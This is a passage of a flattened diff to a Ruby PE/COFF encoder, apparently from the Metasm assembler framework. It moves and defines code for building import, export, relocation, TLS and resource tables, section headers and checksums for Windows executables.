if @cpu.generate_PIC - if @cpu.shortname == 'x64' - edata << shellcode["#{import.thunk}: jmp [rip-$_+#{import.target}]"] - return - end - # sections starts with a helper function that returns the address of metasm_intern_geteip in eax (PIC) - if not @sections.find { |s| s.encoded and s.encoded.export['metasm_intern_geteip'] } and edata.empty? - edata << shellcode["metasm_intern_geteip: call 42f\n42:\npop eax\nsub eax, 42b-metasm_intern_geteip\nret"] - end - edata << shellcode["#{import.thunk}: call metasm_intern_geteip\njmp [eax+#{import.target}-metasm_intern_geteip]"] - else - edata << shellcode["#{import.thunk}: jmp [#{import.target}]"] - end - else raise EncodeError, 'E: COFF: encode import thunk: unsupported architecture' - end - end - - def encode_tls - dir, cbtable = @tls.encode(self) - @directory['tls_table'] = [label_at(dir, 0, 'tls_table'), dir.virtsize] - - s = Section.new - s.name = '.tls' - s.encoded = EncodedData.new << dir << cbtable - s.characteristics = %w[MEM_READ MEM_WRITE] - encode_append_section s - end - - # encodes relocation tables in a new section .reloc, updates @directory['base_relocation_table'] - def encode_relocs - if @relocations.empty? - rt = RelocationTable.new - rt.base_addr = 0 - rt.relocs = [] - @relocations << rt - end - relocs = @relocations.inject(EncodedData.new) { |edata, rt_| edata << rt_.encode(self) } - - @directory['base_relocation_table'] = [label_at(relocs, 0, 'reloc_table'), relocs.virtsize] - - s = Section.new - s.name = '.reloc' - s.encoded = relocs - s.characteristics = %w[MEM_READ MEM_DISCARDABLE] - encode_append_section s - end - - # creates the @relocations from sections.encoded.reloc - def create_relocation_tables - @relocations = [] - - # create a fake binding with all exports, to find only-image_base-dependant relocs targets - # not foolproof, but works in standard cases - startaddr = curaddr = label_at(@encoded, 0, 'coff_start') - binding = {} - @sections.each { |s| - binding.update s.encoded.binding(curaddr) - curaddr = Expression[curaddr, :+, s.encoded.virtsize] - } - - # for each section.encoded, make as many RelocationTables as needed - @sections.each { |s| - - # rt.base_addr temporarily holds the offset from section_start, and is fixed up to rva before '@reloc << rt' - rt = RelocationTable.new - - s.encoded.reloc.each { |off, rel| - # check that the relocation looks like "program_start + integer" when bound using the fake binding - # XXX allow :i32 etc - if rel.endianness == @endianness and [:u32, :a32, :u64, :a64].include?(rel.type) and - rel.target.bind(binding).reduce.kind_of?(Expression) and - Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) - # winner ! - - # build relocation - r = RelocationTable::Relocation.new - r.offset = off & 0xfff - r.type = { :u32 => 'HIGHLOW', :u64 => 'DIR64', :a32 => 'HIGHLOW', :a64 => 'DIR64' }[rel.type] - - # check if we need to start a new relocation table - if rt.base_addr and (rt.base_addr & ~0xfff) != (off & ~0xfff) - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - rt = RelocationTable.new - end - - # initialize reloc table base address if needed - if not rt.base_addr - rt.base_addr = off & ~0xfff - end - - (rt.relocs ||= []) << r - elsif $DEBUG and not rel.target.bind(binding).reduce.kind_of?(Integer) - puts "W: COFF: Ignoring weird relocation #{rel.inspect} when building relocation tables" - end - } - - if rt and rt.relocs - rt.base_addr = Expression[[label_at(s.encoded, 0, 'sect_start'), :-, startaddr], :+, rt.base_addr] - @relocations << rt - end - } - end - - def encode_resource - res = @resource.encode self - - @directory['resource_table'] = [label_at(res, 0, 'resource_table'), res.virtsize] - - s = Section.new - s.name = '.rsrc' - s.encoded = res - s.characteristics = %w[MEM_READ] - encode_append_section s - end - - # initialize the header from target/cpu/etc, target in ['exe' 'dll' 'kmod' 'obj'] - def pre_encode_header(target = 'exe', want_relocs=true) - target = {:bin => 'exe', :lib => 'dll', :obj => 'obj', 'sys' => 'kmod', 'drv' => 'kmod'}.fetch(target, target) - - @header.machine ||= case @cpu.shortname - when 'x64'; 'AMD64' - when 'ia32'; 'I386' - end - @optheader.signature ||= case @cpu.size - when 32; 'PE' - when 64; 'PE+' - end - @bitsize = (@optheader.signature == 'PE+' ? 64 : 32) - - # setup header flags - tmp = %w[LINE_NUMS_STRIPPED LOCAL_SYMS_STRIPPED DEBUG_STRIPPED] + - case target - when 'exe'; %w[EXECUTABLE_IMAGE] - when 'dll'; %w[EXECUTABLE_IMAGE DLL] - when 'kmod'; %w[EXECUTABLE_IMAGE] - when 'obj'; [] - end - if @cpu.size == 32 - tmp << 'x32BIT_MACHINE' - else - tmp << 'LARGE_ADDRESS_AWARE' - end - tmp << 'RELOCS_STRIPPED' if not want_relocs - @header.characteristics ||= tmp - - @optheader.subsystem ||= case target - when 'exe', 'dll'; 'WINDOWS_GUI' - when 'kmod'; 'NATIVE' - end - - tmp = [] - tmp << 'NX_COMPAT' - tmp << 'DYNAMIC_BASE' if want_relocs - @optheader.dll_characts ||= tmp - end - - # resets the values in the header that may have been - # modified by your script (eg section count, size, imagesize, etc) - # call this whenever you decode a file, modify it, and want to reencode it later - def invalidate_header - # set those values to nil, they will be - # recomputed during encode_header - [:code_size, :data_size, :udata_size, :base_of_code, :base_of_data, - :sect_align, :file_align, :image_size, :headers_size, :checksum].each { |m| @optheader.send("#{m}=", nil) } - [:num_sect, :ptr_sym, :num_sym, :size_opthdr].each { |m| @header.send("#{m}=", nil) } - end - - # appends the header/optheader/directories/section table to @encoded - def encode_header - # encode section table, add CONTAINS_* flags from other characteristics flags - s_table = EncodedData.new - - @sections.each { |s| - if s.characteristics.kind_of? Array and s.characteristics.include? 'MEM_READ' - if s.characteristics.include? 'MEM_EXECUTE' - s.characteristics |= ['CONTAINS_CODE'] - elsif s.encoded - if s.encoded.rawsize == 0 - s.characteristics |= ['CONTAINS_UDATA'] - else - s.characteristics |= ['CONTAINS_DATA'] - end - end - end - s.rawaddr = nil if s.rawaddr.kind_of?(::Integer) # XXX allow to force rawaddr ? - s_table << s.encode(self) - } - - # encode optional header - @optheader.image_size ||= new_label('image_size') - @optheader.image_base ||= label_at(@encoded, 0) - @optheader.headers_size ||= new_label('headers_size') - @optheader.checksum ||= new_label('checksum') - @optheader.subsystem ||= 'WINDOWS_GUI' - @optheader.numrva = nil - opth = @optheader.encode(self) - - # encode header - @header.machine ||= 'UNKNOWN' - @header.num_sect ||= sections.length - @header.time ||= Time.now.to_i & -255 - @header.size_opthdr ||= opth.virtsize - @encoded << @header.encode(self) << opth << s_table - end - - # append the section bodies to @encoded, and link the resulting binary - def encode_sections_fixup - @encoded.align @optheader.file_align - if @optheader.headers_size.kind_of?(::String) - @encoded.fixup! @optheader.headers_size => @encoded.virtsize - @optheader.headers_size = @encoded.virtsize - end - - baseaddr = @optheader.image_base.kind_of?(::Integer) ? @optheader.image_base : 0x400000 - binding = @encoded.binding(baseaddr) - - curaddr = baseaddr + @optheader.headers_size - @sections.each { |s| - # align - curaddr = EncodedData.align_size(curaddr, @optheader.sect_align) - if s.rawaddr.kind_of?(::String) - @encoded.fixup! s.rawaddr => @encoded.virtsize - s.rawaddr = @encoded.virtsize - end - if s.virtaddr.kind_of?(::Integer) - raise "E: COFF: cannot encode section #{s.name}: hardcoded address too short" if curaddr > baseaddr + s.virtaddr - curaddr = baseaddr + s.virtaddr - end - binding.update s.encoded.binding(curaddr) - curaddr += s.virtsize - - pre_sz = @encoded.virtsize - @encoded << s.encoded[0, s.encoded.rawsize] - @encoded.align @optheader.file_align - if s.rawsize.kind_of?(::String) - @encoded.fixup! s.rawsize => (@encoded.virtsize - pre_sz) - s.rawsize = @encoded.virtsize - pre_sz - end - } - - # not aligned ? spec says it is, visual studio does not - binding[@optheader.image_size] = curaddr - baseaddr if @optheader.image_size.kind_of?(::String) - - # patch the iat where iat_p was defined - # sort to ensure a 0-terminated will not overwrite an entry - # (try to dump notepad.exe, which has a forwarder;) - @imports.find_all { |id| id.iat_p.kind_of? Integer }.sort_by { |id| id.iat_p }.each { |id| - s = sect_at_rva(id.iat_p) - @encoded[s.rawaddr + s.encoded.ptr, id.iat.virtsize] = id.iat - binding.update id.iat.binding(baseaddr + id.iat_p) - } if imports - - @encoded.fill - @encoded.fixup! binding - - if @optheader.checksum.kind_of?(::String) and @encoded.reloc.length == 1 - # won't work if there are other unresolved relocs - checksum = self.class.checksum(@encoded.data, @endianness) - @encoded.fixup @optheader.checksum => checksum - @optheader.checksum = checksum - end - end - - # encode a COFF file, building export/import/reloc tables if needed - # creates the base relocation tables (need for references to IAT not known before) - # defaults to generating relocatable files, eg ALSR-aware - # pass want_relocs=false to avoid the file overhead induced by this - def encode(target = 'exe', want_relocs = true) - @encoded = EncodedData.new - label_at(@encoded, 0, 'coff_start') - pre_encode_header(target, want_relocs) - autoimport - encode_exports if export - encode_imports if imports - encode_resource if resource - encode_tls if tls - create_relocation_tables if want_relocs - encode_relocs if relocations - encode_header - encode_sections_fixup - @encoded.data - end - - def parse_init - # ahem... - # a fake object, which when appended makes us parse '.text', which creates a real default section - # forwards to it this first appendage. - # allows the user to specify its own section if he wishes, and to use .text if he doesn't - if not defined? @cursource or not @cursource - @cursource = ::Object.new - class << @cursource - attr_accessor :coff - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - coff.parse_parser_instruction t - coff.cursource.send(:<<, *a) - end - end - @cursource.coff = self - end - @source ||= {} - super() - end - - # handles compiler meta-instructions - # - # syntax: - # .section "

" - # section name is a string (may be quoted) - # perms are in 'r' 'w' 'x' 'shared' 'discard', may be concatenated (in this order), may be prefixed by 'no' to remove the attribute for an existing section - # base is the token 'base', the token '=' and an immediate expression - # default sections: - # .text = .section '.text' rx - # .data = .section '.data' rw - # .rodata = .section '.rodata' r - # .bss = .section '.bss' rw - # .entrypoint | .entrypoint
[(no)r w x shared discard] [base=] - sname = readstr[] - if not s = @sections.find { |s_| s_.name == sname } - s = Section.new - s.name = sname - s.encoded = EncodedData.new - s.characteristics = [] - @sections << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?(r)?(w)?(x)?(shared)?(discard)?$/ - ar = [] - ar << 'MEM_READ' if $2 - ar << 'MEM_WRITE' if $3 - ar << 'MEM_EXECUTE' if $4 - ar << 'MEM_SHARED' if $5 - ar << 'MEM_DISCARDABLE' if $6 - if $1; s.characteristics -= ar - else s.characteristics |= ar - end - when 'base' - @lexer.skip_space - @lexer.unreadtok tok if not tok = @lexer.readtok or tok.type != :punct or tok.raw != '=' - raise instr, 'invalid base' if not s.virtaddr = Expression.parse(@lexer).reduce or not s.virtaddr.kind_of?(::Integer) - if not @optheader.image_base - @optheader.image_base = (s.virtaddr-0x80) & 0xfff00000 - puts "Warning: no image_base specified, using #{Expression[@optheader.image_base]}" if $VERBOSE - end - s.virtaddr -= @optheader.image_base - else raise instr, 'unknown parameter' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.libname' - # export directory library name - # .libname - @export ||= ExportDirectory.new - @export.libname = readstr[] - check_eol[] - - when '.export' - # .export [ordinal] [label to export if different] - @lexer.skip_space - raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) - exportname = tok.value || tok.raw - if tok.type == :string and (?0..?9).include? tok.raw[0] - exportname = Integer(exportname) rescue raise(tok, "bad ordinal value, try quotes #{' or rm leading 0' if exportname[0] == ?0}") - end - - @lexer.skip_space - tok = @lexer.readtok - if tok and tok.type == :string and (?0..?9).include? tok.raw[0] - (eord = Integer(tok.raw)) rescue @lexer.unreadtok(tok) - else @lexer.unreadtok(tok) - end - - @lexer.skip_space - tok = @lexer.readtok - if tok and tok.type == :string - exportlabel = tok.raw - else - @lexer.unreadtok tok - end - - @export ||= ExportDirectory.new - @export.exports ||= [] - e = ExportDirectory::Export.new - if exportname.kind_of? Integer - e.ordinal = exportname - else - e.name = exportname - e.ordinal = eord if eord - end - e.target = exportlabel || exportname - @export.exports << e - check_eol[] - - when '.import' - # .import [label of plt thunk|nil] [label of iat element if != symname] - libname = readstr[] - i = ImportDirectory::Import.new - - @lexer.skip_space - raise instr, 'string expected' if not tok = @lexer.readtok or (tok.type != :string and tok.type != :quoted) - if tok.type == :string and (?0..?9).include? tok.raw[0] - i.ordinal = Integer(tok.raw) - else - i.name = tok.value || tok.raw - end - - @lexer.skip_space - if tok = @lexer.readtok and tok.type == :string - i.thunk = tok.raw if tok.raw != 'nil' - @lexer.skip_space - tok = @lexer.readtok - end - if tok and tok.type == :string - i.target = tok.raw - else - i.target = ((i.thunk == i.name) ? ('iat_' + i.name) : (i.name ? i.name : (i.thunk ? 'iat_' + i.thunk : raise(instr, 'need iat label')))) - @lexer.unreadtok tok - end - raise tok, 'import target exists' if i.target != new_label(i.target) - - @imports ||= [] - if not id = @imports.find { |id_| id_.libname == libname } - id = ImportDirectory.new - id.libname = libname - id.imports = [] - @imports << id - end - id.imports << i - - check_eol[] - - when '.entrypoint' - # ".entrypoint " or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr, 'syntax error' if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - @optheader.entrypoint = entrypoint - check_eol[] - - when '.image_base' - raise instr if not base = Expression.parse(@lexer) or !(base = base.reduce).kind_of?(::Integer) - @optheader.image_base = base - check_eol[] - - when '.subsystem' - @lexer.skip_space - raise instr if not tok = @lexer.readtok - @optheader.subsystem = tok.raw - check_eol[] - - else super(instr) - end - end - - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no section named #{k} ?" if not s = @sections.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end - - # defines __PE__ - def tune_prepro(l) - l.define_weak('__PE__', 1) - l.define_weak('__MS_X86_64_ABI__') if @cpu and @cpu.shortname == 'x64' - end - - def tune_cparser(cp) - super(cp) - cp.llp64 if @cpu.size == 64 - end - - # honors C attributes: export, export_as(foo), import_from(kernel32), entrypoint - # import by ordinal: extern __stdcall int anyname(int) __attribute__((import_from(ws2_32:28))); - # can alias imports with int mygpaddr_alias() attr(import_from(kernel32:GetProcAddr)) - def read_c_attrs(cp) - cp.toplevel.symbol.each_value { |v| - next if not v.kind_of? C::Variable - if v.has_attribute 'export' or ea = v.has_attribute_var('export_as') - @export ||= ExportDirectory.new - @export.exports ||= [] - e = ExportDirectory::Export.new - begin - e.ordinal = Integer(ea || v.name) - rescue ArgumentError - e.name = ea || v.name - end - e.target = v.name - @export.exports << e - end - if v.has_attribute('import') or ln = v.has_attribute_var('import_from') - ln ||= WindowsExports::EXPORT[v.name] - raise "unknown library for #{v.name}" if not ln - i = ImportDirectory::Import.new - if ln.include? ':' - ln, name = ln.split(':') - begin - i.ordinal = Integer(name) - rescue ArgumentError - i.name = name - end - else - i.name = v.name - end - if v.type.kind_of? C::Function - i.thunk = v.name - i.target = 'iat_'+i.thunk - else - i.target = v.name - end - - @imports ||= [] - if not id = @imports.find { |id_| id_.libname == ln } - id = ImportDirectory.new - id.libname = ln - id.imports = [] - @imports << id - end - id.imports << i - end - if v.has_attribute 'entrypoint' - @optheader.entrypoint = v.name - end - } - end - - # try to resolve automatically COFF import tables from self.sections.encoded.relocations - # and WindowsExports::EXPORT - # if the relocation target is '' or 'iat_, link to the IAT address, if it is ' + ', - # link to a thunk (plt-like) - # if the relocation is not found, try again after appending 'fallback_append' to the symbol (eg wsprintf => wsprintfA) - def autoimport(fallback_append='A') - WindowsExports rescue return # autorequire - autoexports = WindowsExports::EXPORT.dup - @sections.each { |s| - next if not s.encoded - s.encoded.export.keys.each { |e| autoexports.delete e } - } - @sections.each { |s| - next if not s.encoded - s.encoded.reloc.each_value { |r| - if r.target.op == :+ and not r.target.lexpr and r.target.rexpr.kind_of?(::String) - sym = target = r.target.rexpr - sym = sym[4..-1] if sym[0, 4] == 'iat_' - elsif r.target.op == :- and r.target.rexpr.kind_of?(::String) and r.target.lexpr.kind_of?(::String) - sym = thunk = r.target.lexpr - end - if not dll = autoexports[sym] - sym += fallback_append if sym.kind_of?(::String) and fallback_append.kind_of?(::String) - next if not dll = autoexports[sym] - end - - @imports ||= [] - next if @imports.find { |id| id.imports.find { |ii| ii.name == sym } } - if not id = @imports.find { |id_| id_.libname =~ /^#{dll}(\.dll)?$/i } - id = ImportDirectory.new - id.libname = dll - id.imports = [] - @imports << id - end - if not i = id.imports.find { |i_| i_.name == sym } - i = ImportDirectory::Import.new - i.name = sym - id.imports << i - end - if (target and i.target and (i.target != target or i.thunk == target)) or - (thunk and i.thunk and (i.thunk != thunk or i.target == thunk)) - puts "autoimport: conflict for #{target} #{thunk} #{i.inspect}" if $VERBOSE - else - i.target ||= new_label(target || 'iat_' + thunk) - i.thunk ||= thunk if thunk - end - } - } - end + class OptionalHeader + # encodes an Optional header and the directories + def encode(coff) + opth = super(coff) + + DIRECTORIES[0, @numrva].each { |d| + if d = coff.directory[d] + d = d.dup + d[0] = Expression[d[0], :-, coff.label_at(coff.encoded, 0)] if d[0].kind_of?(::String) + else + d = [0, 0] + end + opth << coff.encode_word(d[0]) << coff.encode_word(d[1]) + } + + opth + end + + # find good default values for optheader members, based on coff.sections + def set_default_values(coff) + @signature ||= (coff.bitsize == 64 ? 'PE+' : 'PE') + @link_ver_maj ||= 1 + @link_ver_min ||= 0 + @sect_align ||= 0x1000 + align = lambda { |sz| EncodedData.align_size(sz, @sect_align) } + @code_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_CODE' }.inject(0) { |sum, s| sum + align[s.virtsize] } + @data_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_DATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } + @udata_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_UDATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } + @entrypoint = Expression[@entrypoint, :-, coff.label_at(coff.encoded, 0)] if entrypoint and not @entrypoint.kind_of?(::Integer) + tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_CODE' } + @base_of_code ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) + tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_DATA' } + @base_of_data ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) + @file_align ||= 0x200 + @os_ver_maj ||= 4 + @subsys_maj ||= 4 + @stack_reserve||= 0x100000 + @stack_commit ||= 0x1000 + @heap_reserve ||= 0x100000 + @heap_commit ||= 0x1000 + @numrva ||= DIRECTORIES.length + + super(coff) + end + end + + class Section + # find good default values for section header members, defines rawaddr/rawsize as new_label for later fixup + def set_default_values(coff) + @name ||= '' + @virtsize ||= @encoded.virtsize + @virtaddr ||= Expression[coff.label_at(@encoded, 0, 'sect_start'), :-, coff.label_at(coff.encoded, 0)] + @rawsize ||= coff.new_label('sect_rawsize') + @rawaddr ||= coff.new_label('sect_rawaddr') + + super(coff) + end + end + + class ExportDirectory + # encodes an export directory + def encode(coff) + edata = {} + %w[edata addrtable namptable ord_table libname nametable].each { |name| + edata[name] = EncodedData.new + } + label = lambda { |n| coff.label_at(edata[n], 0, n) } + rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } + rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } + + # ordinal base: smallest number > 1 to honor ordinals, minimize gaps + olist = @exports.map { |e| e.ordinal }.compact + # start with lowest ordinal, substract all exports unused to fill ordinal sequence gaps + omin = olist.min.to_i + gaps = olist.empty? ? 0 : olist.max+1 - olist.min - olist.length + noord = @exports.length - olist.length + @ordinal_base ||= [omin - (noord - gaps), 1].max + + @libname_p = rva['libname'] + @num_exports = [@exports.length, @exports.map { |e| e.ordinal }.compact.max.to_i - @ordinal_base].max + @num_names = @exports.find_all { |e| e.name }.length + @func_p = rva['addrtable'] + @names_p = rva['namptable'] + @ord_p = rva['ord_table'] + + edata['edata'] << super(coff) + + edata['libname'] << @libname << 0 + + elist = @exports.find_all { |e| e.name and not e.ordinal }.sort_by { |e| e.name } + @exports.find_all { |e| e.ordinal }.sort_by { |e| e.ordinal }.each { |e| elist.insert(e.ordinal-@ordinal_base, e) } + elist.each { |e| + if not e + # export by ordinal with gaps + # XXX test this value with the windows loader + edata['addrtable'] << coff.encode_word(0xffff_ffff) + next + end + if e.forwarder_lib + edata['addrtable'] << coff.encode_word(rva_end['nametable']) + edata['nametable'] << e.forwarder_lib << ?. << + if not e.forwarder_name + "##{e.forwarder_ordinal}" + else + e.forwarder_name + end << 0 + else + edata['addrtable'] << coff.encode_word(Expression[e.target, :-, coff.label_at(coff.encoded, 0)]) + end + if e.name + edata['ord_table'] << coff.encode_half(edata['addrtable'].virtsize/4 - 1) + edata['namptable'] << coff.encode_word(rva_end['nametable']) + edata['nametable'] << e.name << 0 + end + } + + # sorted by alignment directives + %w[edata addrtable namptable ord_table libname nametable].inject(EncodedData.new) { |ed, name| ed << edata[name] } + end + + def set_default_values(coff) + @timestamp ||= Time.now.to_i + @libname ||= 'metalib' + @ordinal_base ||= 1 + + super(coff) + end + end + + class ImportDirectory + # encodes all import directories + iat + def self.encode(coff, ary) + edata = { 'iat' => [] } + %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } + + ary.each { |i| i.encode(coff, edata) } + + it = edata['idata'] << + coff.encode_word(0) << + coff.encode_word(0) << + coff.encode_word(0) << + coff.encode_word(0) << + coff.encode_word(0) << + edata['ilt'] << + edata['nametable'] + + iat = edata['iat'] # why not fragmented ? + + [it, iat] + end + + # encodes an import directory + iat + names in the edata hash received as arg + def encode(coff, edata) + edata['iat'] << EncodedData.new + # edata['ilt'] = edata['iat'] + label = lambda { |n| coff.label_at(edata[n], 0, n) } + rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } + rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } + + @libname_p = rva_end['nametable'] + @ilt_p = rva_end['ilt'] + @iat_p ||= Expression[coff.label_at(edata['iat'].last, 0, 'iat'), :-, coff.label_at(coff.encoded, 0)] + edata['idata'] << super(coff) + + edata['nametable'] << @libname << 0 + + ord_mask = 1 << (coff.bitsize - 1) + @imports.each { |i| + edata['iat'].last.add_export i.target, edata['iat'].last.virtsize if i.target + if i.ordinal + ptr = coff.encode_xword(Expression[i.ordinal, :|, ord_mask]) + else + edata['nametable'].align 2 + ptr = coff.encode_xword(rva_end['nametable']) + edata['nametable'] << coff.encode_half(i.hint || 0) << i.name << 0 + end + edata['ilt'] << ptr + edata['iat'].last << ptr + } + edata['ilt'] << coff.encode_xword(0) + edata['iat'].last << coff.encode_xword(0) + end + end + + class TLSDirectory + def encode(coff) + cblist = EncodedData.new + @callback_p = coff.label_at(cblist, 0, 'callback_p') + @callbacks.to_a.each { |cb| + cblist << coff.encode_xword(cb) + } + cblist << coff.encode_xword(0) + + dir = super(coff) + + [dir, cblist] + end + + def set_default_values(coff) + @start_va ||= 0 + @end_va ||= @start_va + + super(coff) + end + end + + class RelocationTable + # encodes a COFF relocation table + def encode(coff) + rel = super(coff) << coff.encode_word(8 + 2*@relocs.length) + @relocs.each { |r| rel << r.encode(coff) } + rel + end + + def set_default_values(coff) + # @base_addr is an rva + @base_addr = Expression[@base_addr, :-, coff.label_at(coff.encoded, 0)] if @base_addr.kind_of?(::String) + + # align relocation table size + if @relocs.length % 2 != 0 + r = Relocation.new + r.type = 0 + r.offset = 0 + @relocs << r + end + + super(coff) + end + end + + class ResourceDirectory + # compiles ressource directories + def encode(coff, edata = nil) + if not edata + # init recursion + edata = {} + subtables = %w[table names dataentries data] + subtables.each { |n| edata[n] = EncodedData.new } + encode(coff, edata) + return subtables.inject(EncodedData.new) { |sum, n| sum << edata[n] } + end + + label = lambda { |n| coff.label_at(edata[n], 0, n) } + # data 'rva' are real rvas (from start of COFF) + rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } + # names and table 'rva' are relative to the beginning of the resource directory + off_end = lambda { |n| Expression[[label[n], :-, coff.label_at(edata['table'], 0)], :+, edata[n].virtsize] } + + # build name_w if needed + @entries.each { |e| e.name_w = e.name.unpack('C*').pack('v*') if e.name and not e.name_w } + + # fixup forward references to us, as subdir + edata['table'].fixup @curoff_label => edata['table'].virtsize if defined? @curoff_label + + @nr_names = @entries.find_all { |e| e.name_w }.length + @nr_id = @entries.find_all { |e| e.id }.length + edata['table'] << super(coff) + + # encode entries, sorted by names nocase, then id + @entries.sort_by { |e| e.name_w ? [0, e.name_w.downcase] : [1, e.id] }.each { |e| + if e.name_w + edata['table'] << coff.encode_word(Expression[off_end['names'], :|, 1 << 31]) + edata['names'] << coff.encode_half(e.name_w.length/2) << e.name_w + else + edata['table'] << coff.encode_word(e.id) + end + + if e.subdir + e.subdir.curoff_label = coff.new_label('rsrc_curoff') + edata['table'] << coff.encode_word(Expression[e.subdir.curoff_label, :|, 1 << 31]) + else # data entry + edata['table'] << coff.encode_word(off_end['dataentries']) + + edata['dataentries'] << + coff.encode_word(rva_end['data']) << + coff.encode_word(e.data.length) << + coff.encode_word(e.codepage || 0) << + coff.encode_word(e.reserved || 0) + + edata['data'] << e.data + end + } + + # recurse + @entries.find_all { |e| e.subdir }.each { |e| e.subdir.encode(coff, edata) } + end + end + + + # computes the checksum for a given COFF file + # may not work with overlapping sections + def self.checksum(str, endianness = :little) + coff = load str + coff.endianness = endianness + coff.decode_header + coff.encoded.ptr = 0 + + flen = 0 + csum = 0 + # negate old checksum + oldcs = coff.encode_word(coff.optheader.checksum) + oldcs.ptr = 0 + csum -= coff.decode_half(oldcs) + csum -= coff.decode_half(oldcs) + + # checksum header + raw = coff.encoded.read(coff.optheader.headers_size) + flen += coff.optheader.headers_size + + coff.sections.each { |s| + coff.encoded.ptr = s.rawaddr + raw << coff.encoded.read(s.rawsize) + flen += s.rawsize + } + raw.unpack(endianness == :little ? 'v*' : 'n*').each { |s| + csum += s + csum = (csum & 0xffff) + (csum >> 16) if (csum >> 16) > 0 + } + csum + flen + end + + + def encode_byte(w) Expression[w].encode(:u8, @endianness, (caller if $DEBUG)) end + def encode_half(w) Expression[w].encode(:u16, @endianness, (caller if $DEBUG)) end + def encode_word(w) Expression[w].encode(:u32, @endianness, (caller if $DEBUG)) end + def encode_xword(w) Expression[w].encode((@bitsize == 32 ? :u32 : :u64), @endianness, (caller if $DEBUG)) end + + + # adds a new compiler-generated section + def encode_append_section(s) + if (s.virtsize || s.encoded.virtsize) < 4096 + # find section to merge with + # XXX check following sections for hardcoded base address ? + + char = s.characteristics.dup + secs = @sections.dup + # do not merge non-discardable in discardable + if not char.delete 'MEM_DISCARDABLE' + secs.delete_if { |ss| ss.characteristics.include? 'MEM_DISCARDABLE' } + end + # do not merge shared w/ non-shared + if char.delete 'MEM_SHARED' + secs.delete_if { |ss| not ss.characteristics.include? 'MEM_SHARED' } + else + secs.delete_if { |ss| ss.characteristics.include? 'MEM_SHARED' } + end + secs.delete_if { |ss| ss.virtsize.kind_of?(::Integer) or ss.rawsize.kind_of?(::Integer) or secs[secs.index(ss)+1..-1].find { |ss_| ss_.virtaddr.kind_of?(::Integer) } } + + # try to find superset of characteristics + if target = secs.find { |ss| (ss.characteristics & char) == char } + target.encoded.align 8 + puts "PE: merging #{s.name} in #{target.name} (#{target.encoded.virtsize})" if $DEBUG + s.encoded = target.encoded << s.encoded + else + @sections << s + end + else + @sections << s + end + end + + # encodes the export table as a new section, updates directory['export_table'] + def encode_exports + edata = @export.encode self + + # must include name tables (for forwarders) + @directory['export_table'] = [label_at(edata, 0, 'export_table'), edata.virtsize] + + s = Section.new + s.name = '.edata' + s.encoded = edata + s.characteristics = %w[MEM_READ] + encode_append_section s + end + + # encodes the import tables as a new section, updates directory['import_table'] and directory['iat'] + def encode_imports + idata, iat = ImportDirectory.encode(self, @imports) + + @directory['import_table'] = [label_at(idata, 0, 'idata'), idata.virtsize] + + s = Section.new + s.name = '.idata' + s.encoded = idata + s.characteristics = %w[MEM_READ MEM_WRITE MEM_DISCARDABLE] + encode_append_section s + + if @imports.first and @imports.first.iat_p.kind_of? Integer + ordiat = @imports.zip(iat).sort_by { |id, it| id.iat_p.kind_of?(Integer) ? id.iat_p : 1<<65 }.map { |id, it| it } + else + ordiat = iat + end + + @directory['iat'] = [label_at(ordiat.first, 0, 'iat'), + Expression[label_at(ordiat.last, ordiat.last.virtsize, 'iat_end'), :-, label_at(ordiat.first, 0)]] if not ordiat.empty? + + iat_s = nil + + plt = Section.new + plt.name = '.plt' + plt.encoded = EncodedData.new + plt.characteristics = %w[MEM_READ MEM_EXECUTE] + + @imports.zip(iat) { |id, it| + if id.iat_p.kind_of? Integer and s = @sections.find { |s_| s_.virtaddr <= id.iat_p and s_.virtaddr + (s_.virtsize || s_.encoded.virtsize) > id.iat_p } + id.iat = it # will be fixed up after encode_section + else + # XXX should not be mixed (for @directory['iat'][1]) + if not iat_s + iat_s = Section.new + iat_s.name = '.iat' + iat_s.encoded = EncodedData.new + iat_s.characteristics = %w[MEM_READ MEM_WRITE] + encode_append_section iat_s + end + iat_s.encoded << it + end + + id.imports.each { |i| + if i.thunk + arch_encode_thunk(plt.encoded, i) + end + } + } + + encode_append_section plt if not plt.encoded.empty? + end + + # encodes a thunk to imported function + def arch_encode_thunk(edata, import) + case @cpu.shortname + when 'ia32', 'x64' + shellcode = lambda { |c| Shellcode.new(@cpu).share_namespace(self).assemble(c).encoded } + if @cpu.generate_PIC + if @cpu.shortname == 'x64' + edata << shellcode["#{import.thunk}: jmp [rip-$_+#{import.target}]"] + return + end + # sections starts with a helper function that returns the address of metasm_intern_geteip in eax (PIC) + if not @sections.find { |s| s.encoded and 